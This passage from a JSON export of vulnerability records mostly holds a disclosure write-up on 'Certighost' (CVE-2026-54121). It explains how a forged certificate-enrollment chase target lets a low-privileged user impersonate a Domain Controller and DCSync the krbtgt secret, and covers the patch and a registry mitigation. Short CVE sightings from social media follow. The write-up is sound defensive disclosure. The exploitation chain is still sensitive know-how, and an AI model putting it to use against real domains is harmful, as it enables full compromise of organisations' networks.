--dc-ip 192.168.8.128\n```\n\nThe script discovers the CA and a target Domain Controller, creates a machine account, starts the local LDAP and LSA services, submits the crafted enrollment request, and produces the terminal output shown below.\n\n![Terminal output of a successful Certighost run](https://gist.github.com/user-attachments/assets/7ad0a7a7-edf7-4b50-8c69-7e0c91ed2ae4)\n\n\nTerminal output of a successful Certighost run\n\nAt this point, the attacker has a CA-signed certificate that authenticates as the target Domain Controller in the tested configuration and a Kerberos credential cache for that account.\n\n### Step 3: DCSync\n\nA Domain Controller account has directory replication rights. With the resulting Kerberos credential, the attacker can request account secrets, including the `krbtgt` secret.\n\n![Successful DCSync output showing the `krbtgt` account](https://gist.github.com/user-attachments/assets/64e7a484-87d4-46fc-a3d7-c2b600ffe9cd)\n\n\nSuccessful DCSync output showing the `krbtgt` account\n\n### What the proof of concept does\n\nThe script follows the full chain in one process:\n\n1. It connects to LDAP with the supplied low-privileged account and discovers the CA, Domain Controller, domain SID, and domain GUID.\n2. It creates a machine account through `ms-DS-MachineAccountQuota` and registers the required service principal names.\n3. It starts local LSA and LDAP services. The services relay the CA's authentication challenge to the real Domain Controller so the chase endpoint is accepted as a valid domain principal.\n4. It submits a certificate request containing the `cdc` and `rmd` attributes.\n5. It receives a certificate carrying identity material for the target Domain Controller, including SID and DNS-name data used by the authentication flow.\n6. It uses the certificate to authenticate as the target Domain Controller and writes the resulting credential cache.\n\n## Post-update behavior\n\nThe July 2026 update changes the CA-side request path. Before continuing a chase, the CA validates the supplied `cdc` target against Active Directory.\n\nThe update adds a validation step to the principal-loading path. When the validation gate is active, the CA checks that the hostname supplied in `cdc` resolves to a legitimate Domain Controller computer object in the real directory before it continues the chase. A validation failure takes the request down an error path rather than the chase continuation.\n\n| Component | Before the update | After the update |\n|---|---|---|\n| Chase target | The CA followed the requester-supplied target | The CA validates the supplied `cdc` hostname against the real directory |\n| Principal lookup | The remote response was treated as authoritative | The target must resolve to a legitimate Domain Controller computer object |\n| Certificate identity data | Returned SID and hostname could be attacker-controlled | Resolution proceeds only after target validation and a follow-on SID comparison |\n| Certificate request result | A forged chase response could lead to issuance | A failed validation or SID comparison takes an error path |\n\nThe fix addresses the trust boundary that made Certighost possible: a chase endpoint is no longer accepted merely because it responds as a domain principal. The July binary contains a gate around the new validation, so the protection applies when that gate and its validation path are active.\n\nThe diagram below summarizes the July update path. It shows which checks must pass before the CA continues the chase, and which checks stop the request before that point.\n\n\n\n\nJuly update flow: the CA validates the chase target against AD before allowing the referral chase to continue.\n\nRead the diagram from top to bottom: the request enters the validation path, each check answers one yes/no question, and the request must pass every check before the chase continues. A failed check stops the request before that point. The specific conditions behind each check - length and character checks, the Domain Controller computer-object requirement, and the resolved-SID comparison - are described in the paragraph below.\n\nThe validation function rejects overlong and IP-literal targets, blocks the filtered-character set before constructing the LDAP query, and requires a unique computer object whose `userAccountControl` includes `SERVER_TRUST_ACCOUNT` (`8192`). If the first directory search has no match, the code retries with an extracted base DN. The loader only reaches the referral continuation after a successful validation return; it also contains a later resolved-SID comparison. These control-flow observations were checked against the hash-matched July DLL.\n\n\nDetailed patched flow:\n\n```text\n1. User submits cert enrollment request with cdc=\"attacker.example.com\"\n2. _LoadPrincipalObject() calls _GetDSObject() -> fails (referral needed)\n3. polGetRequestAttribute(\"cdc\", &bstrString) -> reads attacker's hostname\n4. NEW: Feature_3185813818 check (servicing flag)\n   - DISABLED -> old behavior (backward compat)\n   - ENABLED -> _ValidateChaseTargetIsDC(bstrString)\n      - Reject if empty\n      - Reject if > 260 chars\n      - Reject if IPv4 address (RtlIpv4StringToAddressW)\n      - Reject if IPv6 address (RtlIpv6StringToAddressW)\n      - Reject if contains LDAP injection chars: ( ) * [ \\ ]\n      - LDAP search: (&(objectCategory=computer)(dNSHostName=)\n                       (userAccountControl:1.2.840.113556.1.4.803:=8192))\n         - 8192 = SERVER_TRUST_ACCOUNT = must be a real DC\n         - If 0 results -> try with extracted base DN (_ExtractBaseDNForDCSearch)\n         - If still 0 -> REJECT\n5. Only if validation passes -> _GetDSObject(a2, 1, bstrString) -> connect to verified DC\n6. NEW: _GetObjectSID() -> verify resolved object's SID matches requester's SID\n   - If SID mismatch -> REJECT (prevents object substitution)\n```\n\n## Code analysis\n\nThe proof-of-concept shows the impact, but the code path explains the root cause. The relevant logic sits in `certpdef.dll`, the AD CS Certificate Policy Enterprise module loaded by `certsrv.exe`. The vulnerable behavior is in the request-principal loading path, where request-supplied attributes are used while resolving the requester identity.\n\nWe compare the June and July builds because June is the vulnerable baseline and July is the Microsoft patched build. That makes the July-only functions useful markers for the fix.\n\nThe functions that matter for the request path are:\n\n| Build | Function | Why it matters |\n|---|---|---|\n| June / vulnerable | `CRequestInstance::_LoadPrincipalObject` | Vulnerable integration point; reads the requester-controlled chase target. |\n| June / vulnerable | `CRequestInstance::_GetDSObject` | Directory lookup/chase sink reached with the untrusted `cdc` host. |\n| June / vulnerable | `CRequestInstance::_GetObjectSID` | Original SID retrieval path before the July identity-verification changes. |\n| July / patched | `CRequestInstance::_ExtractBaseDNForDCSearch` | Helper used by the DC verification LDAP search. |\n| July / patched | `CRequestInstance::_ValidateChaseTargetIsDC` | Validates that `cdc` resolves to a real Domain Controller. |\n| July / patched | `CRequestInstance::_LoadPrincipalObject` | Patched integration point; calls validation before the chase. |\n| July / patched | `CRequestInstance::_GetDSObject` | Same logical sink, now reached only after validation when the protected path is active. |\n| July / patched | `CRequestInstance::_GetObjectSID` | Updated identity/SID verification path after object resolution. |\n| July / patched | `Feature_3185813818` | Servicing feature gate around the updated behavior. |\n\nThe July-only pieces to look for are `CRequestInstance::_ValidateChaseTargetIsDC`, `CRequestInstance::_ExtractBaseDNForDCSearch`, and the `Feature_3185813818` gate.\n\n### June vulnerable build flow\n\nIn the June vulnerable build, `CRequestInstance::_LoadPrincipalObject` reads the `cdc` request attribute and passes it directly into `_GetDSObject` with chase enabled.\n\n```c\n// decompiled shape from CRequestInstance::_LoadPrincipalObject\npolGetRequestAttribute(policy, L\"cdc\", &bstrString);\n\nCRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n//                                           ^ chase enabled\n//                                              ^ requester-controlled host\n```\n\nThe request-to-directory path is:\n\n```text\ncertificate request attribute -> cdc BSTR -> _GetDSObject(..., chase = 1, cdc)\n```\n\nIn other words, requester-controlled routing data reached a directory-authority decision before the CA had checked that the target was a Domain Controller.\n\n### July patched build flow\n\nThe July patched build wraps the same chase with a feature-gated validation call and then performs an additional SID verification path.\n\n```c\n// decompiled shape from CRequestInstance::_LoadPrincipalObject\npolGetRequestAttribute(policy, L\"cdc\", &bstrString);\n\nif (Feature_3185813818::IsEnabled()) {\n    CRequestInstance::_ValidateChaseTargetIsDC(this, bstrString);\n\n    CRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n\n    CRequestInstance::_GetObjectSID(this, &resolved_sid, mode);\n}\n```\n\nThere is still an legacy behavior branch visible in the patched control flow:\n\n```c\nCRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n```\n\nThat branch is reached when the servicing feature gate is not enabled. For lab validation, the feature state matters because the protected path is conditional.\n\n## Code analysis: `_ValidateChaseTargetIsDC`\n\n`CRequestInstance::_ValidateChaseTargetIsDC` is the main new guard. It takes the requester-supplied `cdc` value and checks that it is a Domain Controller hostname before `_GetDSObject` follows the chase.\n\nThe validation has two layers.\n\nFirst, it rejects values that are not safe DC hostnames:\n\n```c\n// 1. Strip leading backslashes, then reject empty input\nwhile (*target == L'\\\\')\n    target++;\nif (*target == L'\\0')\n    reject;\n\n// 2. Reject oversized hostnames\nif (wcslen(target) > 0x104)\n    reject;\n\n// 3. Reject IPv4 and IPv6 literals\nif (RtlIpv4StringToAddressW(target, TRUE, &end, &ipv4) == STATUS_SUCCESS && *end == 0)\n    reject;\n\nif (RtlIpv6StringToAddressW(target, &end, &ipv6) == STATUS_SUCCESS && *end == 0)\n    reject;\n\n// 4. Reject LDAP filter metacharacters\nfor (p = target; *p; p++) {\n    if ((*p - 0x28) <= 2 || (*p - 0x5b) <= 2)\n        reject;\n}\n```\n\nThe IP checks block raw-address chase targets such as `192.0.2.10` or `::1`. The metacharacter check keeps the hostname inside the LDAP filter slot.\n\nAfter the string checks, the function asks Active Directory whether the target is a DC:\n\n```text\n(&(objectCategory=computer)(dNSHostName=%s)(userAccountControl:1.2.840.113556.1.4.803:=8192))\n```\n\n`8192` is `SERVER_TRUST_ACCOUNT`, the `userAccountControl` bit used by Domain Controller computer accounts. The updated code searches for exactly one computer object with that bit set and a `dNSHostName` matching the supplied `cdc` value.\n\nThe search path is roughly:\n\n```c\nldap_search_ext_sW(ldap, NULL, LDAP_SCOPE_SUBTREE,\n                   filter, NULL, TRUE, NULL, NULL,\n                   &timeout, 1, &result);\n\ncount = ldap_count_entries(ldap, result);\n\nif (count == 0) {\n    base_dn = CRequestInstance::_ExtractBaseDNForDCSearch(this);\n    ldap_search_ext_sW(ldap, base_dn, LDAP_SCOPE_SUBTREE,\n                       filter, NULL, TRUE, NULL, NULL,\n                       &timeout, 1, &result);\n    count = ldap_count_entries(ldap, result);\n}\n\nif (count != 1)\n    reject;\n```\n\nThe missing check was simple but critical: the chase target must be an AD-registered Domain Controller, not just a host string from the certificate request.\n\n## Why the update fixes the bug\n\nBefore the update, the vulnerable chain was:\n\n```text\nattacker request -> cdc=\"attacker host\" -> CA LDAP chase -> attacker response -> issued identity\n```\n\nAfter the update, the intended chain is:\n\n```text\nattacker request -> cdc=\"some host\"\n        |\n        v\nvalidate hostname shape\n        |\n        v\nquery AD for dNSHostName= AND SERVER_TRUST_ACCOUNT\n        |\n        v\nrequire exactly one real DC object\n        |\n        v\nonly then call _GetDSObject(..., chase = 1, cdc)\n        |\n        v\nverify resolved SID / identity\n```\n\nThe update changes two things:\n\n1. **Target authenticity:** the chase target must be an AD-registered Domain Controller, not an arbitrary requester-controlled host.\n2. **Object authenticity:** the object resolved through the chase must match the expected identity, preventing substitution even if the lookup path is unusual.\n\n## Functions of interest\n\nFor security researchers tracing the request path, start with these functions:\n\n```text\nJune vulnerable build\n  CRequestInstance::_LoadPrincipalObject\n  CRequestInstance::_GetDSObject\n  CRequestInstance::_GetObjectSID\n\nJuly patched build\n  Feature_3185813818\n  CRequestInstance::_ExtractBaseDNForDCSearch\n  CRequestInstance::_ValidateChaseTargetIsDC\n  CRequestInstance::_LoadPrincipalObject\n  CRequestInstance::_GetDSObject\n  CRequestInstance::_GetObjectSID\n```\n\nGood code references for the writeup are:\n\n1. June `_LoadPrincipalObject` showing `cdc` flowing into `_GetDSObject`.\n2. July `_LoadPrincipalObject` showing the call to `_ValidateChaseTargetIsDC` before `_GetDSObject`.\n3. July `_ValidateChaseTargetIsDC` showing the IP rejection and LDAP filter construction.\n4. July `_ValidateChaseTargetIsDC` showing the `userAccountControl:1.2.840.113556.1.4.803:=8192` DC query.\n5. July `_GetObjectSID` or its caller site showing the added SID verification path.\n\n## Hot fix without the update: disable the chase fallback\n\nIf the July update cannot be installed immediately, the vulnerable code path can be switched off completely with a policy flag, because the `cdc` chase is an optional fallback feature, not code that runs on every request:\n\n```powershell\ncertutil -setreg policy\\EditFlags -EDITF_ENABLECHASECLIENTDC\nRestart-Service CertSvc -Force\n```\n\nThis is a mitigation, not a patch. If `EDITF_ENABLECHASECLIENTDC` is re-enabled on an unpatched CA by an administrator, image, or group policy, the vulnerability is exploitable again.\n\nNote: *This hot fix was validated only in a controlled lab environment, not on a production CA. Before applying it in production, test it on a staging CA that mirrors your environment and confirm that no legitimate enrollment relies on the chase fallback those requests will fail once the flag is cleared. The July update remains the recommended remediation.*\n\n## Timeline\n\n- **May 14, 2026:** Vulnerability reported to the Microsoft Security Response Center\n- **May 14, 2026:** Case assigned\n- **May 22, 2026:** Case investigated and confirmed\n- **July 14, 2026:** Patch released by Microsoft as CVE-2026-54121\n- **July 24, 2026:** Public disclosure\n\n## References\n\n- [certighost.py PoC script](https://github.com/aniqfakhrul/CVE-2026-54121)\n- [Certipy AD CS toolkit](https://github.com/ly4k/Certipy)\n- [Microsoft Security Update Guide: CVE-2026-54121](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121)\n- [MS-WCCE: Windows Client Certificate Enrollment Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/)\n\n## Acknowledgments\n\nThe authors would like to thank the Microsoft Security Response Center for the acknowledgement.\n", "creation_timestamp": "2026-08-09T18:04:15.843843Z"}, {"uuid": "889ab485-7b9c-4b74-ac43-bf4bb3dff88b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54133", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mo44g5a3ue2n", "content": "\ud83d\udd34 CVE-2026-54133 - Critical (9.8)\n\njmespath.php allows users to use JMESPath, software for declaratively specifying how to extract e...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-54133/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-06-12T16:01:52.100691Z"}, {"uuid": "0cc6602a-3ca3-48e7-bda4-2836a92b6ea1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54133", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mo4eeqak4c2t", "content": "CVE-2026-54133 - jmespath.php has CompilerRuntime code injection via unescaped function names\nCVE ID : CVE-2026-54133\n \n Published : June 12, 2026, 3:16 p.m. | 1\u00a0hour, 51\u00a0minutes ago\n \n Description : jmespath.php allows users to use JMESPath, software for declaratively specify...", "creation_timestamp": "2026-06-12T18:24:13.470598Z"}, {"uuid": "4c4969f7-38da-41f9-9d52-60c334f6a3c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54091", "type": "published-proof-of-concept", "source": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-j9jx-hp4c-ghhh", "content": "", "creation_timestamp": "2026-06-06T05:55:29.000000Z"}, {"uuid": "5df5547b-4764-45e2-8f32-fa8b69914994", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54093", "type": "published-proof-of-concept", "source": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-gxjx-7m74-hcq8", "content": "", "creation_timestamp": "2026-06-06T05:55:25.000000Z"}, {"uuid": "40c6efc9-6c1b-439a-874f-42b7e543eb4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54094", "type": "published-proof-of-concept", "source": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-239w-m3h6-ch8v", "content": "", "creation_timestamp": "2026-06-03T11:43:02.000000Z"}, {"uuid": "7bccc9b7-5f23-4711-bf4e-06467b5a170f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54092", "type": "published-proof-of-concept", "source": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-w5fm-68j4-fpc4", "content": "", "creation_timestamp": "2026-06-03T09:33:53.000000Z"}, {"uuid": "08d75175-553c-4697-beaf-797157048dca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54096", "type": "published-proof-of-concept", "source": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-3q2p-72cj-682c", "content": "", "creation_timestamp": "2026-06-04T05:54:39.000000Z"}, {"uuid": "1370175d-b05a-44ea-b9dc-84652ae69577", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54090", "type": "published-proof-of-concept", "source": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-8c9q-7855-wfxq", "content": "", "creation_timestamp": "2026-06-03T08:07:50.000000Z"}, {"uuid": "d2deab50-93e3-400f-be3c-18396ac58b93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54398", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mo56n2nt6m2j", "content": "CVE-2026-54398 - MISP object edit authorization bypass allows unauthorized sharing group assignment\nCVE ID : CVE-2026-54398\n \n Published : June 12, 2026, 10:16 p.m. | 3\u00a0hours, 7\u00a0minutes ago\n \n Description : An authorization flaw in MISP\u2019s object add/edit handling allowed an au...", "creation_timestamp": "2026-06-13T02:14:17.167882Z"}, {"uuid": "f120ae80-2212-49e2-952a-da1a363b3c57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54228", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mo5ekrdf372d", "content": "\ud83d\udfe0 CVE-2026-54228 - High (7.8)\n\nA time-of-check time-of-use (TOCTOU) race condition was found in the abrt-dbus D-Bus service's Se...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-54228/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-06-13T04:04:22.706374Z"}, {"uuid": "e76566a8-4036-427b-b332-16658d3aa4d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5415", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mo5isgdwd52r", "content": "CVE-2026-5415 advanced-google-recaptcha (CVSS Score 8.8) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #wordpresssecurity #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept #advanced-google-recaptcha", "creation_timestamp": "2026-06-13T05:16:07.558297Z"}, {"uuid": "942010d5-1660-45b2-9859-e2a8b1c4b852", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54164", "type": "seen", "source": "https://bsky.app/profile/soyuka.me/post/3mo5jhr2ux22s", "content": "\ud83d\udd12 Security patch out for API Platform Core (CVE-2026-54164): a type-confusion bug let writable relations accept a wrong-type IRI. Upgrade to 4.1.30 / 4.2.26 / 4.3.12+. Details:\ngithub.com/api-platform...", "creation_timestamp": "2026-06-13T05:28:06.602010Z"}, {"uuid": "067561b5-26e8-4366-8962-897563efbbac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54230", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mo5jzaofah2d", "content": "CVE-2026-54230 - Abrt: event handler scripts follow symlinks when writing output files, allowing arbitrary file overwrites\nCVE ID : CVE-2026-54230\n \n Published : June 13, 2026, 3:16 a.m. | 2\u00a0hours, 6\u00a0minutes ago\n \n Description : A symlink following vulnerability was found in t...", "creation_timestamp": "2026-06-13T05:37:50.304477Z"}, {"uuid": "b5ea9734-8825-4716-bd7e-f87a47248439", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54229", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mo5kc74kqz22", "content": "CVE-2026-54229 - Abrt: chownproblemdir succeeds during active post-create event processing due to inadequate locking\nCVE ID : CVE-2026-54229\n \n Published : June 13, 2026, 3:16 a.m. | 2\u00a0hours, 6\u00a0minutes ago\n \n Description : A race condition was found in the abrt-dbus D-Bus serv...", "creation_timestamp": "2026-06-13T05:42:50.720240Z"}, {"uuid": "70921dc1-5e35-4aad-8241-80dcf8efb4c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54228", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mo5ofk7ow52m", "content": "abrt-dbus\u306eSetElement\u30e1\u30bd\u30c3\u30c9\u306bTOCTOU\u7af6\u5408\u72b6\u614b\u306e\u8106\u5f31\u6027\u3002\u30ed\u30fc\u30ab\u30eb\u30e6\u30fc\u30b6\u30fc\u304c\u4efb\u610f\u306e\u30c6\u30ad\u30b9\u30c8\u30d5\u30a1\u30a4\u30eb\u3092dump\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u306b\u66f8\u304d\u8fbc\u3081\u308b\u3002\nCVE-2026-54228 CVSS 7.8 | HIGH", "creation_timestamp": "2026-06-13T06:56:18.518403Z"}, {"uuid": "b76a4beb-4824-4d63-9c7f-dcab87709835", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54229", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mo5oi7fhpd2b", "content": "abrt-dbus\u306eChownProblemDir\u30e1\u30bd\u30c3\u30c9\u306b\u7af6\u5408\u72b6\u614b\u306e\u8106\u5f31\u6027\u3002\u653b\u6483\u8005\u306f\u30a4\u30d9\u30f3\u30c8\u30b9\u30af\u30ea\u30d7\u30c8\u5b9f\u884c\u4e2d\u306b\u3001\u30c0\u30f3\u30d7\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u306e\u30d5\u30a1\u30a4\u30eb\u30b7\u30b9\u30c6\u30e0\u30ec\u30d9\u30eb\u306e\u5236\u5fa1\u3092\u596a\u3048\u308b\u53ef\u80fd\u6027\u304c\u3042\u308b\u3002\nCVE-2026-54229 CVSS 7.0 | HIGH", "creation_timestamp": "2026-06-13T06:57:47.146818Z"}, {"uuid": "3ca642d6-20e7-4852-8ebf-35bbf74c10c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54358", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116744774971353040", "content": "Some increased actor activities are shown targeting MISP (CVE-2026-54358) https://vuldb.com/vuln/370709/cti", "creation_timestamp": "2026-06-13T20:51:39.617415Z"}, {"uuid": "9ca61218-203e-4841-89fb-1a06afd5d16c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54420", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mo7yf3f7kw26", "content": "\ud83d\udfe0 CVE-2026-54420 - High (8.5)\n\nLiteSpeed cPanel plugin before 2.4.8 (as distributed in LiteSpeed WHM PlugIn before 5.3.2.0) mish...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-54420/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-06-14T05:00:20.216925Z"}, {"uuid": "a30534c7-226b-4e8a-bf53-aefca2fadc18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54420", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3moaa4qot2j2m", "content": "\u8106\u5f31\u6027\uff1a\u8907\u6570\u306eAPI\u30a8\u30f3\u30c9\u30dd\u30a4\u30f3\u30c8\u306b\u8a8d\u8a3c\u30d0\u30a4\u30d1\u30b9\u306e\u53ef\u80fd\u6027\u3002\u5f71\u97ff\uff1a\u8a8d\u8a3c\u306a\u3057\u3067\u306e\u60c5\u5831\u6f0f\u6d29\u3084\u4e0d\u6b63\u64cd\u4f5c\u306e\u6050\u308c\u3002\u5bfe\u8c61\uff1a\u7279\u5b9a\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u3002\nCVE-2026-54420 CVSS 8.5 | HIGH", "creation_timestamp": "2026-06-14T07:18:49.767863Z"}, {"uuid": "e581381f-972d-49bc-9080-03d3c9aab4fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54421", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3moaauv2ng32f", "content": "CVE-2026-54421 - OpenStack Ironic Information Disclosure\nCVE ID : CVE-2026-54421\n \n Published : June 14, 2026, 4:16 a.m. | 1\u00a0hour, 25\u00a0minutes ago\n \n Description : In OpenStack Ironic through 35.0.1, when applying a PATCH to update fields in volume properties the user is author...", "creation_timestamp": "2026-06-14T07:32:19.423400Z"}, {"uuid": "ac7a1508-965c-4964-8776-65e55693f052", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-54420", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116747640761245833", "content": "\u26a0\ufe0f CVE-2026-54420: HIGH-severity symlink vulnerability in LiteSpeed cPanel Plugin v2.3 on CloudLinux/CageFS shared hosting. Exploited in the wild \u2014 no patch yet. Restrict FTP/web shell access & monitor for suspicious activity. https://radar.offseq.com/threat/cve-2026-54420-cwe-61-unix-symbolic-link-symlink-f-9e9ca8f9 #OffSeq #Vulnerability #LiteSpeed", "creation_timestamp": "2026-06-14T09:02:38.419474Z"}, {"uuid": "6d568fb2-58b6-404d-a138-c2ab14877eef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-54421", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116747994648309538", "content": "\u26a0\ufe0f CVE-2026-54421 | Medium severity in OpenStack Ironic <=35.0.1: PATCH requests may leak iSCSI creds due to improper redaction. Restrict PATCH ops to trusted admins, monitor access, and follow vendor advisories. https://radar.offseq.com/threat/cve-2026-54421-cwe-212-improper-removal-of-sensiti-6e0b0746 #OffSeq #OpenStack #Infosec", "creation_timestamp": "2026-06-14T10:30:25.432114Z"}, {"uuid": "dbb5bfd9-7603-40d2-831e-882a87ef2131", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-54421", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3moaktehsog2a", "content": "OpenStack Ironic <=35.0.1 MEDIUM vuln: PATCH updates may leak sensitive info (iSCSI creds). Restrict PATCH ops, monitor usage, and check advisories for fixes. https://radar.offseq.com/threat/cve-2026-54421-cwe-212-improper-removal-of-sensiti-6e0b0746 #OffSeq #OpenStack #Vuln", "creation_timestamp": "2026-06-14T10:30:26.241099Z"}, {"uuid": "bb486cda-2cea-4168-9f68-b813cea02a75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5485", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mob5nigh5q2l", "content": "\ud83d\udccc CVE-2026-5485 - OS command injection in the browser-based authentication component in Amazon Athena ODBC driver before 2.0.5.1 on Linux might allow a threat actor to ... https://www.cyberhub.blog/cves/CVE-2026-5485", "creation_timestamp": "2026-06-14T16:07:09.793039Z"}, {"uuid": "da054cb5-7e34-4907-85b0-07dfa4238369", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54410", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mobhcwfd6s2w", "content": "\ud83d\udfe0 CVE-2026-54410 - High (8.6)\n\nnanoMODBUS through v1.23.0 contains an off-by-one buffer overflow in the recv_msg_header() functi...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-54410/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-06-14T19:00:13.712381Z"}, {"uuid": "bf0a254a-c37c-465c-9a12-659dd00fb7aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54411", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mobkbbokgq2b", "content": "CVE-2026-54411 - Linux-PAM pam_userdb Plaintext Password Recovery Timing Vulnerability\nCVE ID : CVE-2026-54411\n \n Published : June 14, 2026, 6:17 p.m. | 1\u00a0hour, 24\u00a0minutes ago\n \n Description : Linux-PAM through 1.7.2 contains an observable timing discrepancy (CWE-208) in the p...", "creation_timestamp": "2026-06-14T19:52:58.811314Z"}, {"uuid": "e1fa77f6-b233-4d56-9483-2d1eb36e9a45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54413", 